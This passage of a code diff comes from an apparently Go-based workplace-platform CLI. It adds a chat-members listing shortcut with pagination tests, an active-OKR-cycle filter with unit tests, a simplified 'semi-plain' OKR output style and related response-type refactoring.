+		map[string]int{"page-size": 2, "page-limit": 0, "page-delay": 0})
+
+	res, err := fetchChatMembers(context.Background(), runtime, "oc_test")
+	if err != nil {
+		t.Fatalf("fetchChatMembers: %v", err)
+	}
+	if calls != 2 {
+		t.Errorf("want 2 page calls, got %d", calls)
+	}
+	if len(res.users) != 3 {
+		t.Errorf("users: want 3, got %d", len(res.users))
+	}
+	if len(res.bots) != 2 {
+		t.Errorf("bots: want 2, got %d", len(res.bots))
+	}
+	if len(res.truncations) != 1 {
+		t.Errorf("truncations: want 1 from last page, got %d", len(res.truncations))
+	}
+	if res.hasMore {
+		t.Error("has_more: want false after draining all pages")
+	}
+}
+
+// TestFetchChatMembers_PageLimitStops verifies --page-limit caps the loop and
+// leaves has_more=true so the caller knows the result is incomplete.
+func TestFetchChatMembers_PageLimitStops(t *testing.T) {
+	seq := 0
+	rt := shortcutRoundTripFunc(func(req *http.Request) (*http.Response, error) {
+		// Every page reports more pages available, with an advancing token so the
+		// loop is stopped by --page-limit, not the non-advancing-token guard.
+		seq++
+		return shortcutJSONResponse(200, map[string]interface{}{
+			"code": 0,
+			"data": cmlPage(us("u"), nil, nil, true, fmt.Sprintf("p%d", seq)),
+		}), nil
+	})
+	runtime := newChatMembersTestRuntime(t, rt,
+		map[string]string{"chat-id": "oc_test"},
+		map[string]bool{"page-all": true},
+		map[string]int{"page-size": 1, "page-limit": 3, "page-delay": 0})
+
+	res, err := fetchChatMembers(context.Background(), runtime, "oc_test")
+	if err != nil {
+		t.Fatalf("fetchChatMembers: %v", err)
+	}
+	if len(res.users) != 3 {
+		t.Errorf("users: want 3 (capped at page-limit), got %d", len(res.users))
+	}
+	if !res.hasMore {
+		t.Error("has_more: want true (loop cut short by page-limit)")
+	}
+	errOut := runtime.IO().ErrOut.(*bytes.Buffer)
+	if !strings.Contains(errOut.String(), "reached page limit (3)") {
+		t.Errorf("want page-limit notice on stderr, got: %s", errOut.String())
+	}
+}

shortcuts/im/shortcuts.go

@@ -10,6 +10,7 @@ func Shortcuts() []common.Shortcut {
 	return []common.Shortcut{
 		ImChatCreate,
 		ImChatList,
+		ImChatMembersList,
 		ImChatMessageList,
 		ImChatSearch,
 		ImChatUpdate,

shortcuts/okr/okr_batch_create.go

@@ -58,45 +58,9 @@ func parseBatchCreateInput(input string) ([]batchCreateObjective, error) {
 	return objectives, nil
 }
 
-// buildContentBlock converts text and mentions to a ContentBlock.
-func buildContentBlock(text string, mentions []string) *ContentBlock {
-	elements := make([]ContentParagraphElement, 0, len(mentions)+1)
-
-	// Add text element
-	textElem := ContentParagraphElement{
-		ParagraphElementType: ParagraphElementTypeTextRun.Ptr(),
-		TextRun: &ContentTextRun{
-			Text: &text,
-		},
-	}
-	elements = append(elements, textElem)
-
-	// Add mention elements
-	for _, mention := range mentions {
-		mentionElem := ContentParagraphElement{
-			ParagraphElementType: ParagraphElementTypeMention.Ptr(),
-			Mention: &ContentMention{
-				UserID: &mention,
-			},
-		}
-		elements = append(elements, mentionElem)
-	}
-
-	return &ContentBlock{
-		Blocks: []ContentBlockElement{
-			{
-				BlockElementType: BlockElementTypeParagraph.Ptr(),
-				Paragraph: &ContentParagraph{
-					Elements: elements,
-				},
-			},
-		},
-	}
-}
-
 // createObjective calls the API to create an objective.
 func createObjective(ctx context.Context, runtime *common.RuntimeContext, cycleID, userIDType string, obj batchCreateObjective) (string, error) {
-	content := buildContentBlock(obj.Text, obj.Mention)
+	content := BuildContentBlock(obj.Text, obj.Mention)
 	body := map[string]interface{}{
 		"content": content,
 	}
@@ -120,7 +84,7 @@ func createObjective(ctx context.Context, runtime *common.RuntimeContext, cycleI
 
 // createKR calls the API to create a key result.
 func createKR(ctx context.Context, runtime *common.RuntimeContext, objectiveID, userIDType string, kr batchCreateKR) (string, error) {
-	content := buildContentBlock(kr.Text, kr.Mention)
+	content := BuildContentBlock(kr.Text, kr.Mention)
 	body := map[string]interface{}{
 		"content": content,
 	}
@@ -224,7 +188,7 @@ var OKRBatchCreate = common.Shortcut{
 
 		for i, obj := range objectives {
 			// Objective creation
-			objContent := buildContentBlock(obj.Text, obj.Mention)
+			objContent := BuildContentBlock(obj.Text, obj.Mention)
 			objBody := map[string]interface{}{
 				"content": objContent,
 			}
@@ -241,7 +205,7 @@ var OKRBatchCreate = common.Shortcut{
 
 			// KR creations
 			for j, kr := range obj.KRs {
-				krContent := buildContentBlock(kr.Text, kr.Mention)
+				krContent := BuildContentBlock(kr.Text, kr.Mention)
 				krBody := map[string]interface{}{
 					"content": krContent,
 				}

shortcuts/okr/okr_batch_create_test.go

@@ -557,7 +557,7 @@ func TestParseBatchCreateInput_Valid(t *testing.T) {
 
 func TestBuildContentBlock(t *testing.T) {
 	t.Parallel()
-	cb := buildContentBlock("Test text", []string{"ou_123", "ou_456"})
+	cb := BuildContentBlock("Test text", []string{"ou_123", "ou_456"})
 	if cb == nil {
 		t.Fatal("expected non-nil ContentBlock")
 	}

shortcuts/okr/okr_cli_resp.go

@@ -29,15 +29,10 @@ type RespCategory struct {
 
 // RespCycle 周期
 type RespCycle struct {
-	ID            string    `json:"id"`
-	CreateTime    string    `json:"create_time"`
-	UpdateTime    string    `json:"update_time"`
-	TenantCycleID string    `json:"tenant_cycle_id"`
-	Owner         RespOwner `json:"owner"`
-	StartTime     string    `json:"start_time"`
-	EndTime       string    `json:"end_time"`
-	CycleStatus   *string   `json:"cycle_status,omitempty"`
-	Score         *float64  `json:"score,omitempty"`
+	ID          string  `json:"id"`
+	StartTime   string  `json:"start_time"`
+	EndTime     string  `json:"end_time"`
+	CycleStatus *string `json:"cycle_status,omitempty"`
 }
 
 // RespIndicator 指标
@@ -152,3 +147,145 @@ type RespProgress struct {
 	Content      *string           `json:"content,omitempty"`
 	ProgressRate *RespProgressRate `json:"progress_rate,omitempty"`
 }
+
+// ========== Simple-style response types (semi-plain text format) ==========
+
+// RespKeyResultSimple is KeyResult response with SemiPlainContent instead of ContentBlock JSON string.
+type RespKeyResultSimple struct {
+	ID          string            `json:"id"`
+	CreateTime  string            `json:"create_time"`
+	UpdateTime  string            `json:"update_time"`
+	Owner       RespOwner         `json:"owner"`
+	ObjectiveID string            `json:"objective_id"`
+	Position    *int32            `json:"position,omitempty"`
+	Content     *SemiPlainContent `json:"content,omitempty"`
+	Score       *float64          `json:"score,omitempty"`
+	Weight      *float64          `json:"weight,omitempty"`
+	Deadline    *string           `json:"deadline,omitempty"`
+}
+
+// RespObjectiveSimple is Objective response with SemiPlainContent instead of ContentBlock JSON string.
+type RespObjectiveSimple struct {
+	ID         string                `json:"id"`
+	CreateTime string                `json:"create_time"`
+	UpdateTime string                `json:"update_time"`
+	Owner      RespOwner             `json:"owner"`
+	CycleID    string                `json:"cycle_id"`
+	Position   *int32                `json:"position,omitempty"`
+	Content    *SemiPlainContent     `json:"content,omitempty"`
+	Score      *float64              `json:"score,omitempty"`
+	Notes      *SemiPlainContent     `json:"notes,omitempty"`
+	Weight     *float64              `json:"weight,omitempty"`
+	Deadline   *string               `json:"deadline,omitempty"`
+	CategoryID *string               `json:"category_id,omitempty"`
+	KeyResults []RespKeyResultSimple `json:"key_results,omitempty"`
+}
+
+// RespProgressSimple is Progress response with SemiPlainContent instead of ContentBlock JSON string.
+type RespProgressSimple struct {
+	ID           string            `json:"progress_id"`
+	ModifyTime   string            `json:"modify_time"`
+	CreateTime   *string           `json:"create_time,omitempty"`
+	Content      *SemiPlainContent `json:"content,omitempty"`
+	ProgressRate *RespProgressRate `json:"progress_rate,omitempty"`
+}
+
+// ToSimple converts KeyResult to RespKeyResultSimple.
+func (k *KeyResult) ToSimple() *RespKeyResultSimple {
+	if k == nil {
+		return nil
+	}
+	result := &RespKeyResultSimple{
+		ID:          k.ID,
+		CreateTime:  formatTimestamp(k.CreateTime),
+		UpdateTime:  formatTimestamp(k.UpdateTime),
+		Owner:       *k.Owner.ToResp(),
+		ObjectiveID: k.ObjectiveID,
+		Position:    k.Position,
+		Score:       k.Score,
+		Weight:      k.Weight,
+	}
+	if k.Deadline != nil {
+		d := formatTimestamp(*k.Deadline)
+		result.Deadline = &d
+	}
+	result.Content = k.Content.ToSemiPlain()
+	return result
+}
+
+// ToSimple converts Objective to RespObjectiveSimple.
+func (o *Objective) ToSimple() *RespObjectiveSimple {
+	if o == nil {
+		return nil
+	}
+	result := &RespObjectiveSimple{
+		ID:         o.ID,
+		CreateTime: formatTimestamp(o.CreateTime),
+		UpdateTime: formatTimestamp(o.UpdateTime),
+		Owner:      *o.Owner.ToResp(),
+		CycleID:    o.CycleID,
+		Position:   o.Position,
+		Score:      o.Score,
+		Weight:     o.Weight,
+		CategoryID: o.CategoryID,
+	}
+	if o.Deadline != nil {
+		d := formatTimestamp(*o.Deadline)
+		result.Deadline = &d
+	}
+	result.Content = o.Content.ToSemiPlain()
+	result.Notes = o.Notes.ToSemiPlain()
+	return result
+}
+
+// ToSimple converts ProgressV1 to RespProgressSimple.
+func (p *ProgressV1) ToSimple() *RespProgressSimple {
+	if p == nil {
+		return nil
+	}
+	resp := &RespProgressSimple{
+		ID:         p.ID,
+		ModifyTime: formatTimestamp(p.ModifyTime),
+	}
+	if p.ProgressRate != nil {
+		resp.ProgressRate = &RespProgressRate{
+			Percent: p.ProgressRate.Percent,
+		}
+		if p.ProgressRate.Status != nil {
+			s := ProgressStatus(*p.ProgressRate.Status).String()
+			if s != "" {
+				resp.ProgressRate.Status = &s
+			}
+		}
+	}
+	if p.Content != nil {
+		resp.Content = p.Content.ToV2().ToSemiPlain()
+	}
+	return resp
+}
+
+// ToSimple converts Progress to RespProgressSimple.
+func (p *Progress) ToSimple() *RespProgressSimple {
+	if p == nil {
+		return nil
+	}
+	createTime := formatTimestamp(p.CreateTime)
+	resp := &RespProgressSimple{
+		ID:         p.ID,
+		ModifyTime: formatTimestamp(p.UpdateTime),
+		CreateTime: &createTime,
+	}
+	if p.ProgressRate != nil {
+		resp.ProgressRate = &RespProgressRate{
+			Percent: p.ProgressRate.ProgressPercent,
+		}
+		if p.ProgressRate.ProgressStatus != nil {
+			s := ProgressStatus(*p.ProgressRate.ProgressStatus).String()
+			if s != "" {
+				resp.ProgressRate.Status = &s
+			}
+		}
+	}
+	resp.Content = p.Content.ToSemiPlain()
+	return resp
+}

shortcuts/okr/okr_cycle_detail.go

@@ -26,6 +26,7 @@ var OKRCycleDetail = common.Shortcut{
 	HasFormat:   true,
 	Flags: []common.Flag{
 		{Name: "cycle-id", Desc: "OKR cycle id (int64)", Required: true},
+		{Name: "style", Default: "simple", Desc: "output style: simple (semi-plain text JSON) | richtext (ContentBlock JSON)", Enum: []string{"simple", "richtext"}},
 	},
 	Validate: func(ctx context.Context, runtime *common.RuntimeContext) error {
 		cycleID := runtime.Str("cycle-id")
@@ -35,6 +36,10 @@ var OKRCycleDetail = common.Shortcut{
 		if id, err := strconv.ParseInt(cycleID, 10, 64); err != nil || id <= 0 {
 			return errs.NewValidationError(errs.SubtypeInvalidArgument, "--cycle-id must be a positive int64").WithParam("--cycle-id")
 		}
+		style := runtime.Str("style")
+		if style != "simple" && style != "richtext" {
+			return errs.NewValidationError(errs.SubtypeInvalidArgument, "--style must be one of: simple | richtext").WithParam("--style")
+		}
 		return nil
 	},
 	DryRun: func(ctx context.Context, runtime *common.RuntimeContext) *common.DryRunAPI {
@@ -50,6 +55,7 @@ var OKRCycleDetail = common.Shortcut{
 	},
 	Execute: func(ctx context.Context, runtime *common.RuntimeContext) error {
 		cycleID := runtime.Str("cycle-id")
+		style := runtime.Str("style")
 
 		// Paginate objectives under the cycle.
 		queryParams := map[string]interface{}{"page_size": "100"}
@@ -96,85 +102,106 @@ var OKRCycleDetail = common.Shortcut{
 		}
 
 		// For each objective, paginate key results and convert to response format.
-		respObjectives := make([]*RespObjective, 0, len(objectives))
-		for i := range objectives {
-			if err := ctx.Err(); err != nil {
-				return err
-			}
-			obj := &objectives[i]
-
-			krQuery := map[string]interface{}{"page_size": "100"}
-
-			var keyResults []KeyResult
-			krPage := 0
-			for {
+		if style == "simple" {
+			respObjectives := make([]*RespObjectiveSimple, 0, len(objectives))
+			for i := range objectives {
 				if err := ctx.Err(); err != nil {
 					return err
 				}
-				if krPage > 0 {
-					select {
-					case <-ctx.Done():
-						return ctx.Err()
-					case <-time.After(500 * time.Millisecond):
-					}
-				}
-				krPage++
+				obj := &objectives[i]
 
-				path := fmt.Sprintf("/open-apis/okr/v2/objectives/%s/key_results", obj.ID)
-				data, err := runtime.CallAPITyped("GET", path, krQuery, nil)
+				keyResults, err := fetchKeyResults(ctx, runtime, obj.ID)
 				if err != nil {
 					return err
 				}
 
-				itemsRaw, _ := data["items"].([]interface{})
-				for _, item := range itemsRaw {
-					raw, err := json.Marshal(item)
-					if err != nil {
-						continue
+				respObj := obj.ToSimple()
+				if respObj == nil {
+					continue
+				}
+				respKRs := make([]RespKeyResultSimple, 0, len(keyResults))
+				for j := range keyResults {
+					if r := keyResults[j].ToSimple(); r != nil {
+						respKRs = append(respKRs, *r)
 					}
-					var kr KeyResult
-					if err := json.Unmarshal(raw, &kr); err != nil {
-						continue
+				}
+				respObj.KeyResults = respKRs
+				respObjectives = append(respObjectives, respObj)
+			}
+
+			result := map[string]interface{}{
+				"cycle_id":   cycleID,
+				"objectives": respObjectives,
+				"total":      len(respObjectives),
+				"style":      style,
+			}
+
+			runtime.OutFormat(result, nil, func(w io.Writer) {
+				fmt.Fprintf(w, "Cycle %s: %d objective(s) (style: %s)\n", cycleID, len(respObjectives), style)
+				for _, o := range respObjectives {
+					contentText := ""
+					if o.Content != nil {
+						contentText = o.Content.Text
 					}
-					keyResults = append(keyResults, kr)
+					notesText := ""
+					if o.Notes != nil {
+						notesText = o.Notes.Text
+					}
+					fmt.Fprintf(w, "Objective [%s]: %s \n Notes: %s \n score=%.2f weight=%.2f\n", o.ID, contentText, notesText, ptrFloat64(o.Score), ptrFloat64(o.Weight))
+					for _, kr := range o.KeyResults {
+						krText := ""
+						if kr.Content != nil {
+							krText = kr.Content.Text
+						}
+						fmt.Fprintf(w, "  - KR [%s]: %s \n score=%.2f weight=%.2f\n", kr.ID, krText, ptrFloat64(kr.Score), ptrFloat64(kr.Weight))
+					}
+				}
+			})
+		} else {
+			// richtext mode
+			respObjectives := make([]*RespObjective, 0, len(objectives))
+			for i := range objectives {
+				if err := ctx.Err(); err != nil {
+					return err
+				}
+				obj := &objectives[i]
+
+				keyResults, err := fetchKeyResults(ctx, runtime, obj.ID)
+				if err != nil {
+					return err
 				}
 
-				hasMore, pageToken := common.PaginationMeta(data)
-				if !hasMore || pageToken == "" {
-					break
+				respObj := obj.ToResp()
+				if respObj == nil {
+					continue
 				}
-				krQuery["page_token"] = pageToken
+				respKRs := make([]RespKeyResult, 0, len(keyResults))
+				for j := range keyResults {
+					if r := keyResults[j].ToResp(); r != nil {
+						respKRs = append(respKRs, *r)
+					}
+				}
+				respObj.KeyResults = respKRs
+				respObjectives = append(respObjectives, respObj)
 			}
 
-			respObj := obj.ToResp()
-			if respObj == nil {
-				continue
+			result := map[string]interface{}{
+				"cycle_id":   cycleID,
+				"objectives": respObjectives,
+				"total":      len(respObjectives),
+				"style":      style,
 			}
-			respKRs := make([]RespKeyResult, 0, len(keyResults))
-			for j := range keyResults {
-				if r := keyResults[j].ToResp(); r != nil {
-					respKRs = append(respKRs, *r)
+
+			runtime.OutFormat(result, nil, func(w io.Writer) {
+				fmt.Fprintf(w, "Cycle %s: %d objective(s) (style: %s)\n", cycleID, len(respObjectives), style)
+				for _, o := range respObjectives {
+					fmt.Fprintf(w, "Objective [%s]: %s \n Notes: %s \n score=%.2f weight=%.2f\n", o.ID, ptrStr(o.Content), ptrStr(o.Notes), ptrFloat64(o.Score), ptrFloat64(o.Weight))
+					for _, kr := range o.KeyResults {
+						fmt.Fprintf(w, "  - KR [%s]: %s \n score=%.2f weight=%.2f\n", kr.ID, ptrStr(kr.Content), ptrFloat64(kr.Score), ptrFloat64(kr.Weight))
+					}
 				}
-			}
-			respObj.KeyResults = respKRs
-			respObjectives = append(respObjectives, respObj)
+			})
 		}
-
-		result := map[string]interface{}{
-			"cycle_id":   cycleID,
-			"objectives": respObjectives,
-			"total":      len(respObjectives),
-		}
-
-		runtime.OutFormat(result, nil, func(w io.Writer) {
-			fmt.Fprintf(w, "Cycle %s: %d objective(s)\n", cycleID, len(respObjectives))
-			for _, o := range respObjectives {
-				fmt.Fprintf(w, "Objective [%s]: %s \n Notes: %s \n score=%.2f weight=%.2f\n", o.ID, ptrStr(o.Content), ptrStr(o.Notes), ptrFloat64(o.Score), ptrFloat64(o.Weight))
-				for _, kr := range o.KeyResults {
-					fmt.Fprintf(w, "  - KR [%s]: %s \n score=%.2f weight=%.2f\n", kr.ID, ptrStr(kr.Content), ptrFloat64(kr.Score), ptrFloat64(kr.Weight))
-				}
-			}
-		})
 		return nil
 	},
 }

shortcuts/okr/okr_cycle_list.go

@@ -46,12 +46,38 @@ func cycleOverlaps(cycle *Cycle, rangeStart, rangeEnd time.Time) bool {
 	if err1 != nil || err2 != nil {
 		return false
 	}
-	cycleStart := time.UnixMilli(startMs)
-	cycleEnd := time.UnixMilli(endMs)
+	cycleStart := time.UnixMilli(startMs).UTC()
+	cycleEnd := time.UnixMilli(endMs).UTC()
 	// Two ranges overlap iff one starts before the other ends
 	return !cycleStart.After(rangeEnd) && !cycleEnd.Before(rangeStart)
 }
 
+// isCurrentActiveCycle checks whether a cycle is currently active:
+// - current time is within the cycle's start and end time
+// - cycle status is default (0) or normal (1)
+func isCurrentActiveCycle(cycle *Cycle, now time.Time) bool {
+	startMs, err1 := strconv.ParseInt(cycle.StartTime, 10, 64)
+	endMs, err2 := strconv.ParseInt(cycle.EndTime, 10, 64)
+	if err1 != nil || err2 != nil {
+		return false
+	}
+	cycleStart := time.UnixMilli(startMs).UTC()
+	cycleEnd := time.UnixMilli(endMs).UTC()
+	nowUTC := now.UTC()
+
+	// Check time range: now must be >= start and <= end
+	if nowUTC.Before(cycleStart) || nowUTC.After(cycleEnd) {
+		return false
+	}
+
+	// Check status: must be default or normal
+	if cycle.CycleStatus == nil {
+		return false
+	}
+	status := *cycle.CycleStatus
+	return status == CycleStatusDefault || status == CycleStatusNormal
+}
+
 var OKRListCycles = common.Shortcut{
 	Service:     "okr",
 	Command:     "+cycle-list",
@@ -175,14 +201,30 @@ var OKRListCycles = common.Shortcut{
 			respCycles = append(respCycles, filtered[i].ToResp())
 		}
 
+		// Filter current active cycles
+		now := time.Now()
+		currentActiveCycles := make([]*RespCycle, 0)
+		for i := range filtered {
+			if isCurrentActiveCycle(&filtered[i], now) {
+				currentActiveCycles = append(currentActiveCycles, filtered[i].ToResp())
+			}
+		}
+
 		runtime.OutFormat(map[string]interface{}{
-			"cycles": respCycles,
-			"total":  len(respCycles),
+			"cycles":                respCycles,
+			"total":                 len(respCycles),
+			"current_active_cycles": currentActiveCycles,
 		}, nil, func(w io.Writer) {
 			fmt.Fprintf(w, "Found %d cycle(s)\n", len(respCycles))
 			for _, c := range respCycles {
 				fmt.Fprintf(w, "  [%s] %s ~ %s (status: %s)\n", c.ID, c.StartTime, c.EndTime, ptrStr(c.CycleStatus))
 			}
+			if len(currentActiveCycles) > 0 {
+				fmt.Fprintf(w, "\nCurrent active cycle(s):\n")
+				for _, c := range currentActiveCycles {
+					fmt.Fprintf(w, "  [%s] %s ~ %s\n", c.ID, c.StartTime, c.EndTime)
+				}
+			}
 		})
 		return nil
 	},

shortcuts/okr/okr_cycle_list_test.go

@@ -5,8 +5,10 @@ package okr
 
 import (
 	"bytes"
+	"strconv"
 	"strings"
 	"testing"
+	"time"
 
 	"github.com/spf13/cobra"
 
@@ -260,11 +262,156 @@ func TestCycleListExecute_NoCycles(t *testing.T) {
 	if len(cycles) != 0 {
 		t.Fatalf("cycles = %v, want empty", cycles)
 	}
+	// Assert current_active_cycles field exists and is a slice
+	rawCurrentActive, ok := data["current_active_cycles"]
+	if !ok {
+		t.Fatal("current_active_cycles field is missing from response")
+	}
+	currentActive, ok := rawCurrentActive.([]interface{})
+	if !ok {
+		t.Fatalf("current_active_cycles is not a slice, got %T", rawCurrentActive)
+	}
+	if len(currentActive) != 0 {
+		t.Fatalf("current_active_cycles = %v, want empty", currentActive)
+	}
+}
+
+// --- isCurrentActiveCycle unit tests ---
+
+func TestIsCurrentActiveCycle(t *testing.T) {
+	t.Parallel()
+	now := time.Date(2026, 6, 29, 12, 0, 0, 0, time.UTC)
+
+	tests := []struct {
+		name     string
+		cycle    *Cycle
+		expected bool
+	}{
+		{
+			name: "active cycle with normal status",
+			cycle: &Cycle{
+				ID:          "c1",
+				StartTime:   "1767225600000", // 2026-01-01
+				EndTime:     "1798761599999", // 2026-12-31 23:59:59
+				CycleStatus: CycleStatusNormal.Ptr(),
+			},
+			expected: true,
+		},
+		{
+			name: "active cycle with default status",
+			cycle: &Cycle{
+				ID:          "c2",
+				StartTime:   "1767225600000", // 2026-01-01
+				EndTime:     "1798761599999", // 2026-12-31
+				CycleStatus: CycleStatusDefault.Ptr(),
+			},
+			expected: true,
+		},
+		{
+			name: "cycle with invalid status",
+			cycle: &Cycle{
+				ID:          "c3",
+				StartTime:   "1767225600000", // 2026-01-01
+				EndTime:     "1798761599999", // 2026-12-31
+				CycleStatus: CycleStatusInvalid.Ptr(),
+			},
+			expected: false,
+		},
+		{
+			name: "cycle with hidden status",
+			cycle: &Cycle{
+				ID:          "c4",
+				StartTime:   "1767225600000", // 2026-01-01
+				EndTime:     "1798761599999", // 2026-12-31
+				CycleStatus: CycleStatusHidden.Ptr(),
+			},
+			expected: false,
+		},
+		{
+			name: "past cycle",
+			cycle: &Cycle{
+				ID:          "c5",
+				StartTime:   "1704067200000", // 2024-01-01
+				EndTime:     "1719791999999", // 2024-06-30
+				CycleStatus: CycleStatusNormal.Ptr(),
+			},
+			expected: false,
+		},
+		{
+			name: "future cycle",
+			cycle: &Cycle{
+				ID:          "c6",
+				StartTime:   "1830297600000", // 2028-01-01
+				EndTime:     "1861833599999", // 2028-12-31
+				CycleStatus: CycleStatusNormal.Ptr(),
+			},
+			expected: false,
+		},
+		{
+			name: "nil cycle status",
+			cycle: &Cycle{
+				ID:          "c7",
+				StartTime:   "1767225600000", // 2026-01-01
+				EndTime:     "1798761599999", // 2026-12-31
+				CycleStatus: nil,
+			},
+			expected: false,
+		},
+		{
+			name: "invalid start time",
+			cycle: &Cycle{
+				ID:          "c8",
+				StartTime:   "invalid",
+				EndTime:     "1798761599999", // 2026-12-31
+				CycleStatus: CycleStatusNormal.Ptr(),
+			},
+			expected: false,
+		},
+		{
+			name: "exact start time boundary",
+			cycle: &Cycle{
+				ID:          "c9",
+				StartTime:   "1782734400000", // 2026-06-29 12:00:00 UTC
+				EndTime:     "1798761599000", // 2026-12-31 23:59:59 UTC
+				CycleStatus: CycleStatusNormal.Ptr(),
+			},
+			expected: true,
+		},
+		{
+			name: "exact end time boundary",
+			cycle: &Cycle{
+				ID:          "c10",
+				StartTime:   "1767225600000", // 2026-01-01 00:00:00 UTC
+				EndTime:     "1782734400000", // 2026-06-29 12:00:00 UTC
+				CycleStatus: CycleStatusNormal.Ptr(),
+			},
+			expected: true,
+		},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			result := isCurrentActiveCycle(tt.cycle, now)
+			if result != tt.expected {
+				t.Fatalf("isCurrentActiveCycle() = %v, want %v", result, tt.expected)
+			}
+		})
+	}
 }
 
 func TestCycleListExecute_WithCycles(t *testing.T) {
 	t.Parallel()
 	f, stdout, _, reg := cmdutil.TestFactory(t, cycleListTestConfig(t))
+
+	// Calculate timestamps relative to now to avoid test expiration
+	now := time.Now().UTC()
+	// Active cycle: 6 months before to 6 months after now
+	activeStartMs := now.AddDate(0, -6, 0).UnixMilli()
+	activeEndMs := now.AddDate(0, 6, 0).UnixMilli()
+	// Past cycle: 2 years before to 1.5 years before now
+	pastStartMs := now.AddDate(-2, 0, 0).UnixMilli()
+	pastEndMs := now.AddDate(-1, -6, 0).UnixMilli()
+
 	reg.Register(&httpmock.Stub{
 		Method: "GET",
 		URL:    "/open-apis/okr/v2/cycles",
@@ -274,19 +421,19 @@ func TestCycleListExecute_WithCycles(t *testing.T) {
 			"data": map[string]interface{}{
 				"items": []interface{}{
 					map[string]interface{}{
-						"id":              "cycle-1",
-						"start_time":      "1735689600000",
-						"end_time":        "1751318400000",
-						"cycle_status":    1,
+						"id":              "cycle-active",
+						"start_time":      strconv.FormatInt(activeStartMs, 10),
+						"end_time":        strconv.FormatInt(activeEndMs, 10),
+						"cycle_status":    1, // normal
 						"owner":           map[string]interface{}{"owner_type": "user", "user_id": "ou-1"},
 						"tenant_cycle_id": "tc-1",
 						"score":           0.75,
 					},
 					map[string]interface{}{
-						"id":              "cycle-2",
-						"start_time":      "1704067200000",
-						"end_time":        "1719792000000",
-						"cycle_status":    2,
+						"id":              "cycle-past",
+						"start_time":      strconv.FormatInt(pastStartMs, 10),
+						"end_time":        strconv.FormatInt(pastEndMs, 10),
+						"cycle_status":    2, // invalid
 						"owner":           map[string]interface{}{"owner_type": "user", "user_id": "ou-1"},
 						"tenant_cycle_id": "tc-2",
 						"score":           0.5,
@@ -311,6 +458,46 @@ func TestCycleListExecute_WithCycles(t *testing.T) {
 	if int(total) != 2 {
 		t.Fatalf("total = %v, want 2", total)
 	}
+
+	// Check current_active_cycles - should only contain cycle-active
+	rawCurrentActive, ok := data["current_active_cycles"]
+	if !ok {
+		t.Fatal("current_active_cycles field is missing from response")
+	}
+	currentActive, ok := rawCurrentActive.([]interface{})
+	if !ok {
+		t.Fatalf("current_active_cycles is not a slice, got %T", rawCurrentActive)
+	}
+	if len(currentActive) != 1 {
+		t.Fatalf("current_active_cycles count = %d, want 1", len(currentActive))
+	}
+	activeCycle, ok := currentActive[0].(map[string]interface{})
+	if !ok {
+		t.Fatalf("current_active_cycles[0] is not a map, got %T", currentActive[0])
+	}
+	if activeCycle["id"] != "cycle-active" {
+		t.Fatalf("current_active_cycles[0].id = %v, want cycle-active", activeCycle["id"])
+	}
+
+	// Verify removed fields are not present in the response
+	for _, c := range cycles {
+		cycleMap, _ := c.(map[string]interface{})
+		if _, ok := cycleMap["create_time"]; ok {
+			t.Fatal("create_time should not be present in response")
+		}
+		if _, ok := cycleMap["update_time"]; ok {
+			t.Fatal("update_time should not be present in response")
+		}
+		if _, ok := cycleMap["tenant_cycle_id"]; ok {
+			t.Fatal("tenant_cycle_id should not be present in response")
+		}
+		if _, ok := cycleMap["owner"]; ok {
+			t.Fatal("owner should not be present in response")
+		}
+		if _, ok := cycleMap["score"]; ok {
+			t.Fatal("score should not be present in response")
+		}
+	}
 }
 
 func TestCycleListExecute_WithTimeRangeFilter(t *testing.T) {

shortcuts/okr/okr_openapi.go

@@ -5,7 +5,9 @@ package okr
 
 import (
 	"encoding/json"
+	"regexp"
 	"strconv"
+	"strings"
 	"time"
 )
 
@@ -261,14 +263,9 @@ func (c *Cycle) ToResp() *RespCycle {
 		return nil
 	}
 	resp := &RespCycle{
-		ID:            c.ID,
-		CreateTime:    formatTimestamp(c.CreateTime),
-		UpdateTime:    formatTimestamp(c.UpdateTime),
-		TenantCycleID: c.TenantCycleID,
-		Owner:         *c.Owner.ToResp(),
-		StartTime:     formatTimestamp(c.StartTime),
-		EndTime:       formatTimestamp(c.EndTime),
-		Score:         c.Score,
+		ID:        c.ID,
+		StartTime: formatTimestamp(c.StartTime),
+		EndTime:   formatTimestamp(c.EndTime),
 	}
 	if c.CycleStatus != nil {
 		s := c.CycleStatus.ToString()
@@ -733,6 +730,131 @@ func (p *ContentPersonV1) ToV2() *ContentMention {
 	}
 }
 
+// ========== SemiPlainContent (半纯文本格式) ==========
+
+// Regex patterns for semi-plain text processing (pre-compiled for performance).
+var (
+	placeholderRE = regexp.MustCompile(`\s*@\{[^}]+\}\s*`)
+	multiSpaceRE  = regexp.MustCompile(`\s+`)
+)
+
+// SemiPlainDoc represents a document link in semi-plain content.
+type SemiPlainDoc struct {
+	Title string `json:"title"`
+	URL   string `json:"url"`
+}
+
+// SemiPlainContent is a simplified, lossy representation of ContentBlock.
+// It contains plain text, mentions, docs, and images without rich formatting or position info.
+type SemiPlainContent struct {
+	Text    string         `json:"text"`
+	Mention []string       `json:"mention,omitempty"`
+	Docs    []SemiPlainDoc `json:"docs,omitempty"`
+	Images  []string       `json:"images,omitempty"`
+}
+
+// ToSemiPlain converts ContentBlock to SemiPlainContent (lossy conversion).
+// Position information and formatting are discarded; only text, mentions, docs, and images are extracted.
+func (c *ContentBlock) ToSemiPlain() *SemiPlainContent {
+	if c == nil {
+		return nil
+	}
+	result := &SemiPlainContent{}
+	var textParts []string
+
+	for _, block := range c.Blocks {
+		if block.Paragraph != nil {
+			for _, elem := range block.Paragraph.Elements {
+				switch {
+				case elem.TextRun != nil && elem.TextRun.Text != nil:
+					textParts = append(textParts, *elem.TextRun.Text)
+				case elem.Mention != nil && elem.Mention.UserID != nil:
+					textParts = append(textParts, " @{"+*elem.Mention.UserID+"} ")
+					result.Mention = append(result.Mention, *elem.Mention.UserID)
+				case elem.DocsLink != nil:
+					doc := SemiPlainDoc{}
+					if elem.DocsLink.Title != nil {
+						doc.Title = *elem.DocsLink.Title
+					}
+					if elem.DocsLink.URL != nil {
+						doc.URL = *elem.DocsLink.URL
+					}
+					result.Docs = append(result.Docs, doc)
+				}
+			}
+		}
+		if block.Gallery != nil {
+			for _, img := range block.Gallery.Images {
+				if img.Src != nil {
+					result.Images = append(result.Images, *img.Src)
+				}
+			}
+		}
+	}
+
+	result.Text = strings.Join(textParts, "")
+	return result
+}
+
+// ToContentBlock converts SemiPlainContent to ContentBlock.
